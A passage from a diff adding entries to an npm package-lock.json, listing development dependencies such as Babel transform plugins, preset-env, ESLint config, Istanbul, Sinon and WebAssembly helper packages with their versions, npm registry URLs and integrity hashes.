"sha512-5ZzDQIGyvN4w8+dMmpohL6MBo+l2G7tfC/O2Dg7/hjpgeWvUx8FzfeOKxGog9IimPa4YekaQ9PlDqTLOljkcxg==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5" + } + }, + "@babel/plugin-transform-sticky-regex": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.22.5.tgz", + "integrity": "sha512-zf7LuNpHG0iEeiyCNwX4j3gDg1jgt1k3ZdXBKbZSoA3BbGQGvMiSvfbZRR3Dr3aeJe3ooWFZxOOG3IRStYp2Bw==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-template-literals": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.22.5.tgz", + "integrity": "sha512-5ciOehRNf+EyUeewo8NkbQiUs4d6ZxiHo6BcBcnFlgiJfu16q0bQUw9Jvo0b0gBKFG1SMhDSjeKXSYuJLeFSMA==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-typeof-symbol": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.22.5.tgz", + "integrity": "sha512-bYkI5lMzL4kPii4HHEEChkD0rkc+nvnlR6+o/qdqR6zrm0Sv/nodmyLhlq2DO0YKLUNd2VePmPRjJXSBh9OIdA==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-unicode-escapes": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.22.5.tgz", + "integrity": "sha512-biEmVg1IYB/raUO5wT1tgfacCef15Fbzhkx493D3urBI++6hpJ+RFG4SrWMn0NEZLfvilqKf3QDrRVZHo08FYg==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-unicode-regex": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.22.5.tgz", + "integrity": "sha512-028laaOKptN5vHJf9/Arr/HiJekMd41hOEZYvNsrsXqJ7YPYuX2bQxh31fkZzGmq3YqHRJzYFFAVYvKfMPKqyg==", + "dev": true, + "requires": { + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/preset-env": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.15.8.tgz", + "integrity": "sha512-rCC0wH8husJgY4FPbHsiYyiLxSY8oMDJH7Rl6RQMknbN9oDDHhM9RDFvnGM2MgkbUJzSQB4gtuwygY5mCqGSsA==", + "dev": true, + "requires": { + "@babel/compat-data": "^7.15.0", + "@babel/helper-compilation-targets": "^7.15.4", + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-validator-option": "^7.14.5", + "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.15.4", + "@babel/plugin-proposal-async-generator-functions": "^7.15.8", + "@babel/plugin-proposal-class-properties": "^7.14.5", + "@babel/plugin-proposal-class-static-block": "^7.15.4", + "@babel/plugin-proposal-dynamic-import": "^7.14.5", + "@babel/plugin-proposal-export-namespace-from": "^7.14.5", + "@babel/plugin-proposal-json-strings": "^7.14.5", + "@babel/plugin-proposal-logical-assignment-operators": "^7.14.5", + "@babel/plugin-proposal-nullish-coalescing-operator": "^7.14.5", + "@babel/plugin-proposal-numeric-separator": "^7.14.5", + "@babel/plugin-proposal-object-rest-spread": "^7.15.6", + "@babel/plugin-proposal-optional-catch-binding": "^7.14.5", + "@babel/plugin-proposal-optional-chaining": "^7.14.5", + "@babel/plugin-proposal-private-methods": "^7.14.5", + "@babel/plugin-proposal-private-property-in-object": "^7.15.4", + "@babel/plugin-proposal-unicode-property-regex": "^7.14.5", + "@babel/plugin-syntax-async-generators": "^7.8.4", + "@babel/plugin-syntax-class-properties": "^7.12.13", + "@babel/plugin-syntax-class-static-block": "^7.14.5", + "@babel/plugin-syntax-dynamic-import": "^7.8.3", + "@babel/plugin-syntax-export-namespace-from": "^7.8.3", + "@babel/plugin-syntax-json-strings": "^7.8.3", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", + "@babel/plugin-syntax-numeric-separator": "^7.10.4", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", + "@babel/plugin-syntax-optional-chaining": "^7.8.3", + "@babel/plugin-syntax-private-property-in-object": "^7.14.5", + "@babel/plugin-syntax-top-level-await": "^7.14.5", + "@babel/plugin-transform-arrow-functions": "^7.14.5", + "@babel/plugin-transform-async-to-generator": "^7.14.5", + "@babel/plugin-transform-block-scoped-functions": "^7.14.5", + "@babel/plugin-transform-block-scoping": "^7.15.3", + "@babel/plugin-transform-classes": "^7.15.4", + "@babel/plugin-transform-computed-properties": "^7.14.5", + "@babel/plugin-transform-destructuring": "^7.14.7", + "@babel/plugin-transform-dotall-regex": "^7.14.5", + "@babel/plugin-transform-duplicate-keys": "^7.14.5", + "@babel/plugin-transform-exponentiation-operator": "^7.14.5", + "@babel/plugin-transform-for-of": "^7.15.4", + "@babel/plugin-transform-function-name": "^7.14.5", + "@babel/plugin-transform-literals": "^7.14.5", + "@babel/plugin-transform-member-expression-literals": "^7.14.5", + "@babel/plugin-transform-modules-amd": "^7.14.5", + "@babel/plugin-transform-modules-commonjs": "^7.15.4", + "@babel/plugin-transform-modules-systemjs": "^7.15.4", + "@babel/plugin-transform-modules-umd": "^7.14.5", + "@babel/plugin-transform-named-capturing-groups-regex": "^7.14.9", + "@babel/plugin-transform-new-target": "^7.14.5", + "@babel/plugin-transform-object-super": "^7.14.5", + "@babel/plugin-transform-parameters": "^7.15.4", + "@babel/plugin-transform-property-literals": "^7.14.5", + "@babel/plugin-transform-regenerator": "^7.14.5", + "@babel/plugin-transform-reserved-words": "^7.14.5", + "@babel/plugin-transform-shorthand-properties": "^7.14.5", + "@babel/plugin-transform-spread": "^7.15.8", + "@babel/plugin-transform-sticky-regex": "^7.14.5", + "@babel/plugin-transform-template-literals": "^7.14.5", + "@babel/plugin-transform-typeof-symbol": "^7.14.5", + "@babel/plugin-transform-unicode-escapes": "^7.14.5", + "@babel/plugin-transform-unicode-regex": "^7.14.5", + "@babel/preset-modules": "^0.1.4", + "@babel/types": "^7.15.6", + "babel-plugin-polyfill-corejs2": "^0.2.2", + "babel-plugin-polyfill-corejs3": "^0.2.5", + "babel-plugin-polyfill-regenerator": "^0.2.2", + "core-js-compat": "^3.16.0", + "semver": "^6.3.0" + } + }, + "@babel/preset-modules": { + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.5.tgz", + "integrity": "sha512-A57th6YRG7oR3cq/yt/Y84MvGgE0eJG2F1JLhKuyG+jFxEgrd/HAMJatiFtmOiZurz+0DkrvbheCLaV5f2JfjA==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.0.0", + "@babel/plugin-proposal-unicode-property-regex": "^7.4.4", + "@babel/plugin-transform-dotall-regex": "^7.4.4", + "@babel/types": "^7.4.4", + "esutils": "^2.0.2" + } + }, + "@babel/register": { + "version": "7.15.3", + "resolved": "https://registry.npmjs.org/@babel/register/-/register-7.15.3.tgz", + "integrity": "sha512-mj4IY1ZJkorClxKTImccn4T81+UKTo4Ux0+OFSV9hME1ooqS9UV+pJ6BjD0qXPK4T3XW/KNa79XByjeEMZz+fw==", + "dev": true, + "requires": { + "clone-deep": "^4.0.1", + "find-cache-dir": "^2.0.0", + "make-dir": "^2.1.0", + "pirates": "^4.0.0", + "source-map-support": "^0.5.16" + } + }, + "@babel/regjsgen": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/@babel/regjsgen/-/regjsgen-0.8.0.tgz", + "integrity": "sha512-x/rqGMdzj+fWZvCOYForTghzbtqPDZ5gPwaoNGHdgDfF2QA/XZbCBp4Moo5scrkAMPhB7z26XM/AaHuIJdgauA==", + "dev": true + }, + "@babel/runtime": { + "version": "7.22.6", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.22.6.tgz", + "integrity": "sha512-wDb5pWm4WDdF6LFUde3Jl8WzPA+3ZbxYqkC6xAXuD3irdEHN1k0NfTRrJD8ZD378SJ61miMLCqIOXYhd8x+AJQ==", + "dev": true, + "requires": { + "regenerator-runtime": "^0.13.11" + } + }, + "@babel/template": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.22.5.tgz", + "integrity": "sha512-X7yV7eiwAxdj9k94NEylvbVHLiVG1nvzCV2EAowhxLTwODV1jl9UzZ48leOC0sH7OnuHrIkllaBgneUykIcZaw==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.22.5", + "@babel/parser": "^7.22.5", + "@babel/types": "^7.22.5" + } + }, + "@babel/traverse": { + "version": "7.22.8", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.22.8.tgz", + "integrity": "sha512-y6LPR+wpM2I3qJrsheCTwhIinzkETbplIgPBbwvqPKc+uljeA5gP+3nP8irdYt1mjQaDnlIcG+dw8OjAco4GXw==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.22.5", + "@babel/generator": "^7.22.7", + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-function-name": "^7.22.5", + "@babel/helper-hoist-variables": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "@babel/parser": "^7.22.7", + "@babel/types": "^7.22.5", + "debug": "^4.1.0", + "globals": "^11.1.0" + } + }, + "@babel/types": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.22.5.tgz", + "integrity": "sha512-zo3MIHGOkPOfoRXitsgHLjEXmlDaD/5KU1Uzuc9GNiZPhSqVxVRtxuPaSBZDsYZ9qV88AjtMtWW7ww98loJ9KA==", + "dev": true, + "requires": { + "@babel/helper-string-parser": "^7.22.5", + "@babel/helper-validator-identifier": "^7.22.5", + "to-fast-properties": "^2.0.0" + } + }, + "@eslint/eslintrc": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-1.4.1.tgz", + "integrity": "sha512-XXrH9Uarn0stsyldqDYq8r++mROmWRI1xKMXa640Bb//SY1+ECYX6VzT6Lcx5frD0V30XieqJ0oX9I2Xj5aoMA==", + "dev": true, + "requires": { + "ajv": "^6.12.4", + "debug": "^4.3.2", + "espree": "^9.4.0", + "globals": "^13.19.0", + "ignore": "^5.2.0", + "import-fresh": "^3.2.1", + "js-yaml": "^4.1.0", + "minimatch": "^3.1.2", + "strip-json-comments": "^3.1.1" + }, + "dependencies": { + "globals": { + "version": "13.20.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-13.20.0.tgz", + "integrity": "sha512-Qg5QtVkCy/kv3FUSlu4ukeZDVf9ee0iXLAUYX13gbR17bnejFTzr4iS9bY7kwCf1NztRNm1t91fjOiyx4CSwPQ==", + "dev": true, + "requires": { + "type-fest": "^0.20.2" + } + }, + "ignore": { + "version": "5.2.4", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.4.tgz", + "integrity": "sha512-MAb38BcSbH0eHNBxn7ql2NH/kX33OkB3lZ1BNdh7ENeRChHTYsTvWrMubiIAMNS2llXEEgZ1MUOBtXChP3kaFQ==", + "dev": true + }, + "type-fest": { + "version": "0.20.2", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz", + "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", + "dev": true + } + } + }, + "@humanwhocodes/config-array": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.6.0.tgz", + "integrity": "sha512-JQlEKbcgEUjBFhLIF4iqM7u/9lwgHRBcpHrmUNCALK0Q3amXN6lxdoXLnF0sm11E9VqTmBALR87IlUg1bZ8A9A==", + "dev": true, + "requires": { + "@humanwhocodes/object-schema": "^1.2.0", + "debug": "^4.1.1", + "minimatch": "^3.0.4" + } + }, + "@humanwhocodes/object-schema": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@humanwhocodes/object-schema/-/object-schema-1.2.1.tgz", + "integrity": "sha512-ZnQMnLV4e7hDlUvw8H+U8ASL02SS2Gn6+9Ac3wGGLIe7+je2AeAOxPY+izIPJDfFDb7eDjev0Us8MO1iFRN8hA==", + "dev": true + }, + "@istanbuljs/load-nyc-config": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz", + "integrity": "sha512-VjeHSlIzpv/NyD3N0YuHfXOPDIixcA1q2ZV98wsMqcYlPmv2n3Yb2lYP9XMElnaFVXg5A7YLTeLu6V84uQDjmQ==", + "dev": true, + "requires": { + "camelcase": "^5.3.1", + "find-up": "^4.1.0", + "get-package-type": "^0.1.0", + "js-yaml": "^3.13.1", + "resolve-from": "^5.0.0" + }, + "dependencies": { + "argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dev": true, + "requires": { + "sprintf-js": "~1.0.2" + } + }, + "find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "dev": true, + "requires": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + } + }, + "js-yaml": { + "version": "3.14.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", + "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", + "dev": true, + "requires": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + } + }, + "locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "dev": true, + "requires": { + "p-locate": "^4.1.0" + } + }, + "p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "requires": { + "p-try": "^2.0.0" + } + }, + "p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "dev": true, + "requires": { + "p-limit": "^2.2.0" + } + }, + "resolve-from": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", + "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", + "dev": true + } + } + }, + "@istanbuljs/schema": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.3.tgz", + "integrity": "sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==", + "dev": true + }, + "@jridgewell/gen-mapping": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.3.tgz", + "integrity": "sha512-HLhSWOLRi875zjjMG/r+Nv0oCW8umGb0BgEhyX3dDX3egwZtB8PqLnjz3yedt8R5StBrzcg4aBpnh8UA9D1BoQ==", + "dev": true, + "requires": { + "@jridgewell/set-array": "^1.0.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.9" + } + }, + "@jridgewell/resolve-uri": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.0.tgz", + "integrity": "sha512-F2msla3tad+Mfht5cJq7LSXcdudKTWCVYUgw6pLFOOHSTtZlj6SWNYAp+AhuqLmWdBO2X5hPrLcu8cVP8fy28w==", + "dev": true + }, + "@jridgewell/set-array": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz", + "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==", + "dev": true + }, + "@jridgewell/source-map": { + "version": "0.3.5", + "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.5.tgz", + "integrity": "sha512-UTYAUj/wviwdsMfzoSJspJxbkH5o1snzwX0//0ENX1u/55kkZZkcTZP6u9bwKGkv+dkk9at4m1Cpt0uY80kcpQ==", + "dev": true, + "peer": true, + "requires": { + "@jridgewell/gen-mapping": "^0.3.0", + "@jridgewell/trace-mapping": "^0.3.9" + } + }, + "@jridgewell/sourcemap-codec": { + "version": "1.4.15", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz", + "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==", + "dev": true + }, + "@jridgewell/trace-mapping": { + "version": "0.3.18", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.18.tgz", + "integrity": "sha512-w+niJYzMHdd7USdiH2U6869nqhD2nbfZXND5Yp93qIbEmnDNk7PD48o+YchRVpzMU7M6jVCbenTR7PA1FLQ9pA==", + "dev": true, + "requires": { + "@jridgewell/resolve-uri": "3.1.0", + "@jridgewell/sourcemap-codec": "1.4.14" + }, + "dependencies": { + "@jridgewell/sourcemap-codec": { + "version": "1.4.14", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.14.tgz", + "integrity": "sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw==", + "dev": true + } + } + }, + "@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "requires": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + } + }, + "@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true + }, + "@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "requires": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + } + }, + "@sinonjs/commons": { + "version": "1.8.6", + "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-1.8.6.tgz", + "integrity": "sha512-Ky+XkAkqPZSm3NLBeUng77EBQl3cmeJhITaGHdYH8kjVB+aun3S4XBRti2zt17mtt0mIUDiNxYeoJm6drVvBJQ==", + "dev": true, + "requires": { + "type-detect": "4.0.8" + } + }, + "@sinonjs/fake-timers": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-7.1.2.tgz", + "integrity": "sha512-iQADsW4LBMISqZ6Ci1dupJL9pprqwcVFTcOsEmQOEhW+KLCVn/Y4Jrvg2k19fIHCp+iFprriYPTdRcQR8NbUPg==", + "dev": true, + "requires": { + "@sinonjs/commons": "^1.7.0" + } + }, + "@sinonjs/formatio": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/@sinonjs/formatio/-/formatio-3.2.2.tgz", + "integrity": "sha512-B8SEsgd8gArBLMD6zpRw3juQ2FVSsmdd7qlevyDqzS9WTCtvF55/gAL+h6gue8ZvPYcdiPdvueM/qm//9XzyTQ==", + "dev": true, + "requires": { + "@sinonjs/commons": "^1", + "@sinonjs/samsam": "^3.1.0" + }, + "dependencies": { + "@sinonjs/samsam": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/@sinonjs/samsam/-/samsam-3.3.3.tgz", + "integrity": "sha512-bKCMKZvWIjYD0BLGnNrxVuw4dkWCYsLqFOUWw8VgKF/+5Y+mE7LfHWPIYoDXowH+3a9LsWDMo0uAP8YDosPvHQ==", + "dev": true, + "requires": { + "@sinonjs/commons": "^1.3.0", + "array-from": "^2.1.1", + "lodash": "^4.17.15" + } + } + } + }, + "@sinonjs/samsam": { + "version": "6.1.3", + "resolved": "https://registry.npmjs.org/@sinonjs/samsam/-/samsam-6.1.3.tgz", + "integrity": "sha512-nhOb2dWPeb1sd3IQXL/dVPnKHDOAFfvichtBf4xV00/rU1QbPCQqKMbvIheIjqwVjh7qIgf2AHTHi391yMOMpQ==", + "dev": true, + "requires": { + "@sinonjs/commons": "^1.6.0", + "lodash.get": "^4.4.2", + "type-detect": "^4.0.8" + } + }, + "@sinonjs/text-encoding": { + "version": "0.7.2", + "resolved": "https://registry.npmjs.org/@sinonjs/text-encoding/-/text-encoding-0.7.2.tgz", + "integrity": "sha512-sXXKG+uL9IrKqViTtao2Ws6dy0znu9sOaP1di/jKGW1M6VssO8vlpXCQcpZ+jisQ1tTFAC5Jo/EOzFbggBagFQ==", + "dev": true + }, + "@tootallnate/once": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-2.0.0.tgz", + "integrity": "sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==", + "dev": true + }, + "@types/eslint": { + "version": "8.44.0", + "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-8.44.0.tgz", + "integrity": "sha512-gsF+c/0XOguWgaOgvFs+xnnRqt9GwgTvIks36WpE6ueeI4KCEHHd8K/CKHqhOqrJKsYH8m27kRzQEvWXAwXUTw==", + "dev": true, + "peer": true, + "requires": { + "@types/estree": "*", + "@types/json-schema": "*" + } + }, + "@types/eslint-scope": { + "version": "3.7.4", + "resolved": "https://registry.npmjs.org/@types/eslint-scope/-/eslint-scope-3.7.4.tgz", + "integrity": "sha512-9K4zoImiZc3HlIp6AVUDE4CWYx22a+lhSZMYNpbjW04+YF0KWj4pJXnEMjdnFTiQibFFmElcsasJXDbdI/EPhA==", + "dev": true, + "peer": true, + "requires": { + "@types/eslint": "*", + "@types/estree": "*" + } + }, + "@types/estree": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.1.tgz", + "integrity": "sha512-LG4opVs2ANWZ1TJoKc937iMmNstM/d0ae1vNbnBvBhqCSezgVUOzcLCqbI5elV8Vy6WKwKjaqR+zO9VKirBBCA==", + "dev": true, + "peer": true + }, + "@types/json-schema": { + "version": "7.0.12", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.12.tgz", + "integrity": "sha512-Hr5Jfhc9eYOQNPYO5WLDq/n4jqijdHNlDXjuAQkkt+mWdQR+XJToOHrsD4cPaMXpn6KO7y2+wM8AZEs8VpBLVA==", + "dev": true, + "peer": true + }, + "@types/node": { + "version": "20.4.2", + "resolved": "https://registry.npmjs.org/@types/node/-/node-20.4.2.tgz", + "integrity": "sha512-Dd0BYtWgnWJKwO1jkmTrzofjK2QXXcai0dmtzvIBhcA+RsG5h8R3xlyta0kGOZRNfL9GuRtb1knmPEhQrePCEw==", + "dev": true, + "peer": true + }, + "@ungap/promise-all-settled": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@ungap/promise-all-settled/-/promise-all-settled-1.1.2.tgz", + "integrity": "sha512-sL/cEvJWAnClXw0wHk85/2L0G6Sj8UB0Ctc1TEMbKSsmpRosqhwj9gWgFRZSrBr2f9tiXISwNhCPmlfqUqyb9Q==", + "dev": true + }, + "@webassemblyjs/ast": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.11.6.tgz", + "integrity": "sha512-IN1xI7PwOvLPgjcf180gC1bqn3q/QaOCwYUahIOhbYUu8KA/3tw2RT/T0Gidi1l7Hhj5D/INhJxiICObqpMu4Q==", + "dev": true, + "peer": true, + "requires": { + "@webassemblyjs/helper-numbers": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6" + } + }, + "@webassemblyjs/floating-point-hex-parser": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.6.tgz", + "integrity": "sha512-ejAj9hfRJ2XMsNHk/v6Fu2dGS+i4UaXBXGemOfQ/JfQ6mdQg/WXtwleQRLLS4OvfDhv8rYnVwH27YJLMyYsxhw==", + "dev": true, + "peer": true + }, + "@webassemblyjs/helper-api-error": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.6.tgz", + "integrity": "sha512-o0YkoP4pVu4rN8aTJgAyj9hC2Sv5UlkzCHhxqWj8butaLvnpdc2jOwh4ewE6CX0txSfLn/UYaV/pheS2Txg//Q==", + "dev": true, + "peer": true + }, + "@webassemblyjs/helper-buffer": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.11.6.tgz", + "integrity": "sha512-z3nFzdcp1mb8nEOFFk8DrYLpHvhKC3grJD2ardfKOzmbmJvEf/tPIqCY+sNcwZIY8ZD7IkB2l7/pqhUhqm7hLA==", + "dev": true, + "peer": true + }, + "@webassemblyjs/helper-numbers": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.6.tgz", + "integrity": "sha512-vUIhZ8LZoIWHBohiEObxVm6hwP034jwmc9kuq5GdHZH0wiLVLIPcMCdpJzG4C11cHoQ25TFIQj9kaVADVX7N3g==", + "dev": true, + "peer": true, + "requires": { + "@webassemblyjs/floating-point-hex-parser": "1.11.6", + "@webassemblyjs/helper-api-error": "1.11.6", + "@xtuc/long": "4.2.2" + } + }, + "@webassemblyjs/helper-wasm-bytecode": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.6.tgz", + "integrity": "sha512-sFFHKwcmBprO9e7Icf0+gddyWYDViL8bpPjJJl0WHxCdETktXdmtWLGVzoHbqUcY4Be1LkNfwTmXOJUFZYSJdA==", + "dev": true, + "peer": true + }, + "@webassemblyjs/helper-wasm-section": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.11.6.tgz", + "integrity": "sha512-LPpZbSOwTpEC2cgn4hTydySy1Ke+XEu+ETXuoyvuyezHO3Kjdu90KK95Sh9xTbmjrCsUwvWwCOQQNta37VrS9g==", + "dev": true, + "peer": true, + "requires": { + "@webassemblyjs/ast": "1.11.6", + "@webassemblyjs/helper-buffer": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/wasm-gen": "1.11.6" + } + }, + "@webassemblyjs/ieee754": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.11.6.tgz", + "integrity": "sha512-LM4p2csPNvbij6U1f19v6WR56QZ8JcHg3QIJTlSwzFcmx6WSORicYj6I63f9yU1kEUtrpG+kjkiIAkevHpDXrg==", + "dev": true, + "peer": true, + "requires": { + "@xtuc/ieee754": "^1.2.0" + } + }, + "@webassemblyjs/leb128": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.11.6.tgz", + "integrity": 